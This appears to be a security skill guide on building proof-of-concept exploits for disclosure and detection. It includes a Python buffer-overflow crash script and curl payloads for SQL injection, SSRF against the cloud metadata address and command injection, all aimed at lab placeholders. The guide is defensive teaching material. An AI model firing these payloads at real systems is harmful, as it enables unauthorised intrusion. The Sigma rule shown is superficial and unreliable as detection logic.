<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: building-proof-of-concept-exploits
description: >-
  Build minimal, reliable proof-of-concept exploits that demonstrate vulnerability impact for responsible disclosure, patch validation, and detection engineering without weaponized payloads.
domain: cybersecurity
subdomain: exploit-development
tags:
  - poc
  - responsible-disclosure
  - cve
  - pwntools
  - msfvenom
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1203"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["python3", "pwntools", "msfvenom", "curl"]
---

# Building Proof-of-Concept Exploits

## Overview

Proof-of-concept (PoC) exploits demonstrate vulnerability impact with minimal
complexity. Good PoCs are reliable, self-contained, and include clear documentation
for responsible disclosure, vendor communication, and detection rule development.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `pwntools` | Security tooling |
| `msfvenom` | Security tooling |
| `curl` | Security tooling |
| CVE details and vulnerability analysis | Environment requirement |
| Isolated lab with vulnerable target version | Environment requirement |
| Responsible disclosure policy understanding | Environment requirement |

## Workflow

### Step 1: Vulnerability Analysis

```bash
# Gather CVE details and affected versions
node scripts/agent.js cve-info --cve CVE-2024-1234

# Download and diff patched vs vulnerable versions
diff -u vulnerable/src/handler.c patched/src/handler.c | head -50

# Identify the trigger condition
grep -rn "memcpy\|strcpy\|sprintf" vulnerable/src/ --include="*.c"
```

### Step 2: Minimal PoC Construction

```python
#!/usr/bin/env python3
"""PoC for CVE-2024-XXXX: Stack overflow in CustomService v1.2."""

import socket
import struct
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = 9999

def trigger_crash():
    """Send payload that triggers controlled crash (no shellcode)."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((TARGET, PORT))

    # Overflow buffer at offset 128, overwrite RIP with 0x41414141
    payload = b"A" * 128 + struct.pack("<Q", 0x4141414141414141)

    sock.send(payload)
    sock.close()
    print(f"[+] Crash payload sent to {TARGET}:{PORT}")
    print("[+] Check target for SIGSEGV at RIP=0x4141414141414141")

if __name__ == "__main__":
    trigger_crash()
```

### Step 3: Web Application PoC

```bash
# SQL injection PoC
curl -s "http://target.lab/search?q=test'%20OR%201=1--" | grep -c "results"

# SSRF PoC
curl -s "http://target.lab/fetch?url=http://169.254.169.254/latest/meta-data/"

# Command injection PoC (benign payload — id command only)
curl -s "http://target.lab/ping?host=127.0.0.1;id"
```

### Step 4: PoC Validation

```bash
# Verify PoC triggers vulnerability
node scripts/agent.js validate --poc poc_exploit.py --target target.lab --port 9999

# Generate detection signature from PoC traffic
node scripts/agent.js signature --pcap poc_capture.pcap

# Package PoC for disclosure
node scripts/agent.js package --poc poc_exploit.py --cve CVE-2024-XXXX
```

## Detection

```yaml
title: Proof Of Concept Exploits Detection
id: cbad960a-572c-4d3c-83e4-01e0d0de6d61
status: experimental
description: Detects suspicious activity related to building proof of concept exploits techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*building*proof*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Proof Of Concept Exploits Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1203 |

## Verification

- [ ] PoC demonstrates vulnerability with benign payload (no weaponization)
- [ ] PoC includes clear usage instructions and affected versions
- [ ] Impact clearly documented (crash, info leak, code exec)
- [ ] Detection signature generated from PoC behavior
- [ ] PoC packaged for responsible disclosure

## References

- [CVE Program](https://www.cve.org/) — Vulnerability identification standard
- [Exploit-DB](https://www.exploit-db.com/) — Public PoC archive
- [CERT/CC Disclosure Policy](https://vuls.cert.org/confluence/display/Wiki/Vulnerability+Disclosure+Policy) — Responsible disclosure guidelines
